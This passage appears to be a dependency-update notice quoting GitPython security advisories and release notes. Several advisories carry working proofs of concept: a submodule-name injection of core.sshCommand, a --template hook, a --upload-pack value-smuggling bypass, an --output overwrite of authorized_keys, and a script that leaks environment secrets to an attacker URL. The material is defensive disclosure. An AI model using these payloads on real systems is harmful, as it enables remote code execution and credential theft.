->", ctl, "(unset)") print("exploit name :", repr(evil)) print(" written header ->", header) print(" git core.sshCommand ->", exp) assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand" assert exp == (0, MARKER), "not reproduced" print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} " f"into the victim's trusted .git/config (git would run it on the next ssh op)") ``` Run: ```bash uv run --with GitPython==3.1.52 python poc.py ``` Observed output: ``` ##### GitPython 3.1.52 control name : 'docs' git core.sshCommand -> (1, '') (unset) exploit name : 'x"] [core] sshCommand=MARKER_9f3a #' written header -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"] git core.sshCommand -> (0, 'MARKER_9f3a') VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op) ``` The benign name yields a single clean `[submodule "docs"]` section; the malicious name yields an injected `core.sshCommand`. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced `"` makes git reject the header); the `submodule "<name>"` wrapper balances them automatically. ##### Impact Arbitrary attacker-controlled write into the victim's repository-local `.git/config`, which git fully trusts. `core.sshCommand` is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (`alias.*`, `core.pager`, `core.fsmonitor`) fire on more common operations. Reachable in default configuration through two realistic paths: - an application that constructs a submodule from untrusted input via `Repo.create_submodule(name=...)` (single call); or - `Repo.clone_from` of an untrusted repository followed by `submodule_update` — the canonical submodule threat model, where the malicious name is read from the cloned `.gitmodules`. No non-default git settings are required. Primarily a Unix vector: on Windows the `"` in the resulting `.git/modules/<name>` directory name can abort the fresh-clone write branch (the direct config-API and `create_submodule` sinks are unaffected). ##### Recommended fix Reject or escape configuration section/subsection/option **names** that contain `]`, `[`, `"`, or leading/trailing whitespace (or apply git's own section-name escaping) in `_assure_config_name_safe` / `write_section`, rather than only CR/LF/NUL. Validating submodule names before they reach `sm_section` would additionally close the clone-driven path. #### Severity - CVSS Score: 7.0 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2) - [https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1](https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3rp5-jjmw-4wv2) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks [GHSA-6p8h-3wgx-97gf](https://github.com/advisories/GHSA-6p8h-3wgx-97gf) <details> <summary>More information</summary> #### Details ##### Summary GitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration. ##### Root Cause `base.py:145-152` defines `unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense. ##### Impact Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H. ##### Proof of Concept ```python ##### attacker stages <dir>/hooks/post-checkout (chmod +x) from git import Repo Repo.clone_from(src, dst, template='<dir>') # post-checkout hook executes -> marker created (verified) ``` ##### Attack Chain 1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem). 2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error). 3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created). ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Add `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf) - [https://github.com/gitpython-developers/GitPython/pull/2180](https://github.com/gitpython-developers/GitPython/pull/2180) - [https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97](https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-6p8h-3wgx-97gf) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled) [GHSA-fjr4-x663-mwxc](https://github.com/advisories/GHSA-fjr4-x663-mwxc) <details> <summary>More information</summary> #### Details ##### Summary `Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=<path>` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite. ##### Root Cause `diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key. ##### Impact Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints. ##### Proof of Concept ```python ##### Key-control: commit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified) ##### Value-control (attacker controls only the ref string): commit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -> 146 bytes of diff-tree output ``` ##### Attack Chain 1. Entry (value-control): `commit.diff(other=<user ref>)` with `other = "--output=/home/app/.ssh/authorized_keys"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265. 2. Sink: `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live. ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Add `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc) - [https://github.com/gitpython-developers/GitPython/pull/2180](https://github.com/gitpython-developers/GitPython/pull/2180) - [https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6](https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fjr4-x663-mwxc) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution [GHSA-r9mr-m37c-5fr3](https://github.com/advisories/GHSA-r9mr-m37c-5fr3) <details> <summary>More information</summary> #### Details ##### Summary GitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`. ##### Root Cause The guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {"n":"--upload-pack=<cmd>"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token. ##### Impact Arbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`. ##### Proof of Concept ```python from git import Repo Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack") ##### /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED. ``` File-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated. ##### Attack Chain 1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live). 2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens. 3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end). ##### Bypass Evidence Live-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector. ##### Affected Versions `<= 3.1.53` ##### Suggested Fix Make `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @&#8203;manus-use #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3) - [https://github.com/gitpython-developers/GitPython/pull/2180](https://github.com/gitpython-developers/GitPython/pull/2180) - [https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453](https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-r9mr-m37c-5fr3) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573) [GHSA-94p4-4cq8-9g67](https://github.com/advisories/GHSA-94p4-4cq8-9g67) <details> <summary>More information</summary> #### Details ##### Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ##### Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ##### Steps to Reproduce ##### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ##### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ##### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) ##### Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL ##### Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() ##### Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ##### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git SENTINEL in git config: True HTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack'] SENTINEL over network : True VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host ``` The `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host. ##### Suggested Fix Pass `expand_vars=False` at the remaining URL callers, matching the clone fix: - `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)` - `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)` More robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in. ##### Cleanup ```bash rm -rf /tmp/gp-remote-poc ``` ##### Impact Any secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67) - [https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162](https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-94p4-4cq8-9g67) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>gitpython-developers/GitPython (gitpython)</summary> ### [`v3.1.55`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55) #### What's Changed - fix: prevent environment expansion in remote URLs by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2181](https://github.com/gitpython-developers/GitPython/pull/2181) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55> ### [`v3.1.54`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54) #### What's Changed - Harden unsafe Git option validation by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2180](https://github.com/gitpython-developers/GitPython/pull/2180) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54> ### [`v3.1.53`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53) #### What's Changed - feat(submodule): add deinit method to Submodule ([#&#8203;2014](https://github.com/gitpython-developers/GitPython/issues/2014)) by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;2129](https://github.com/gitpython-developers/GitPython/pull/2129) - typing: introduce sensible basedpyright defaults by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2174](https://github.com/gitpython-developers/GitPython/pull/2174) - fix: make `submodule.update()` after `submodule.deinit()` work by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2175](https://github.com/gitpython-developers/GitPython/pull/2175) - Fix commit hooks respecting core.hooksPath by [@&#8203;Siesta0217](https://github.com/Siesta0217) in [#&#8203;2159](https://github.com/gitpython-developers/GitPython/pull/2159) - fix: validate config section delimiters by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2176](https://github.com/gitpython-developers/GitPython/pull/2176) #### New Contributors - [@&#8203;Siesta0217](https://github.com/Siesta0217) made their first contribution in [#&#8203;2159](https://github.com/gitpython-developers/GitPython/pull/2159) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53> ### [`v3.1.52`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.52): Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52) <https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573>: Environment-variable exfiltration via os.path.expandvars() on Repo.clone\_from() URL #### What's Changed - Skip cross-drive relative config test on Windows by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2171](https://github.com/gitpython-developers/GitPython/pull/2171) - fix: preserve literal clone URLs by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2172](https://github.com/gitpython-developers/GitPython/pull/2172) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52> ### [`v3.1.51`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51) #### What's Changed - Add AI-disclosure and quality requirements to the contribution guidelines by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2143](https://github.com/gitpython-developers/GitPython/pull/2143) - docs(cmd): clarify Git.execute() string vs list command argument by [@&#8203;mvanhorn](https://github.com/mvanhorn) in [#&#8203;2144](https://github.com/gitpython-developers/GitPython/pull/2144) - Rewrite Git.execute() command parameter docstring per [#&#8203;2146](https://github.com/gitpython-developers/GitPython/issues/2146) by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2147](https://github.com/gitpython-developers/GitPython/pull/2147) - Document init script behavior with multiple master remotes by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2148](https://github.com/gitpython-developers/GitPython/pull/2148) - Bump git/ext/gitdb from `335c0f6` to `0a019a2` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2149](https://github.com/gitpython-developers/GitPython/pull/2149) - Support relative worktree paths (git 2.48+ worktree.useRelativePaths) by [@&#8203;elovelan](https://github.com/elovelan) in [#&#8203;2151](https://github.com/gitpython-developers/GitPython/pull/2151) - Defer xfail condition evaluation with xfail\_if\_raises context manager by [@&#8203;elovelan](https://github.com/elovelan) in [#&#8203;2153](https://github.com/gitpython-developers/GitPython/pull/2153) - Run more submodule tests on Cygwin (fix flaky xfails) by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2154](https://github.com/gitpython-developers/GitPython/pull/2154) - Cut xtrace noise from POSIX-ownership diagnostic steps by [@&#8203;EliahKagan](https://github.com/EliahKagan) in [#&#8203;2156](https://github.com/gitpython-developers/GitPython/pull/2156) - Support index diffs against the empty tree by [@&#8203;puneetdixit200](https://github.com/puneetdixit200) in [#&#8203;2155](https://github.com/gitpython-developers/GitPython/pull/2155) - refactor: seperate out Progress type by [@&#8203;LoeschMaximilian](https://github.com/LoeschMaximilian) in [#&#8203;2157](https://github.com/gitpython-developers/GitPython/pull/2157) - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.12 to 0.15.15 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2160](https://github.com/gitpython-developers/GitPython/pull/2160) - Bump actions/checkout from 6 to 7 by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2164](https://github.com/gitpython-developers/GitPython/pull/2164) - Bump git/ext/gitdb from `0a019a2` to `4950ea9` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2165](https://github.com/gitpython-developers/GitPython/pull/2165) - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.15 to 0.15.20 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2166](https://github.com/gitpython-developers/GitPython/pull/2166) - Add Commit.is\_shallow property; document stats() limitation at shallow boundary by [@&#8203;harshitayadavv](https://github.com/harshitayadavv) in [#&#8203;2167](https://github.com/gitpython-developers/GitPython/pull/2167) - Allow relative config paths with includes by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2169](https://github.com/gitpython-developers/GitPython/pull/2169) - Reject abbreviated forms of unsafe git options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2168](https://github.com/gitpython-developers/GitPython/pull/2168) - guard unsafe git command options by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2163](https://github.com/gitpython-developers/GitPython/pull/2163) #### New Contributors - [@&#8203;elovelan](https://github.com/elovelan) made their first contribution in [#&#8203;2151](https://github.com/gitpython-developers/GitPython/pull/2151) - [@&#8203;puneetdixit200](https://github.com/puneetdixit200) made their first contribution in [#&#8203;2155](https://github.com/gitpython-developers/GitPython/pull/2155) - [@&#8203;LoeschMaximilian](https://github.com/LoeschMaximilian) made their first contribution in [#&#8203;2157](https://github.com/gitpython-developers/GitPython/pull/2157) - [@&#8203;harshitayadavv](https://github.com/harshitayadavv) made their first contribution in [#&#8203;2167](https://github.com/gitpython-developers/GitPython/pull/2167) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51> ### [`v3.1.50`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.50) [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50) #### What's Changed - Bump <https://github.com/astral-sh/ruff-pre-commit> from v0.15.8 to 0.15.12 in the pre-commit group by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2140](https://github.com/gitpython-developers/GitPython/pull/2140) - Bump git/ext/gitdb from `335c0f6` to `53c94d6` by [@&#8203;dependabot](https://github.com/dependabot)\[bot] in [#&#8203;2141](https://github.com/gitpython-developers/GitPython/pull/2141) - Fix Repo() autodiscovery in linked worktrees when GIT\_DIR is set by [@&#8203;meliezer](https://github.com/meliezer) in [#&#8203;2128](https://github.com/gitpython-developers/GitPython/pull/2128) - Validate config key names before writing by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2142](https://github.com/gitpython-developers/GitPython/pull/2142) #### New Contributors - [@&#8203;meliezer](https://github.com/meliezer) made their first contribution in [#&#8203;2128](https://github.com/gitpython-developers/GitPython/pull/2128) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50> ### [`v3.1.49`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49) #### What's Changed - reject control chars in written values in configuration by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2137](https://github.com/gitpython-developers/GitPython/pull/2137) - Improve pure Python rev-parse coverage and behavior by [@&#8203;Copilot](https://github.com/Copilot) in [#&#8203;2136](https://github.com/gitpython-developers/GitPython/pull/2136) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49> ### [`v3.1.48`](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48): - Security [Compare Source](https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48) Accidentally deleted the previous GH release, it did mention the advisory this fixes. #### What's Changed - prevent out-of-repo access when manipulating references. by [@&#8203;Byron](https://github.com/Byron) in [#&#8203;2134](https://github.com/gitpython-developers/GitPython/pull/2134) **Full Changelog**: <https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48> ### 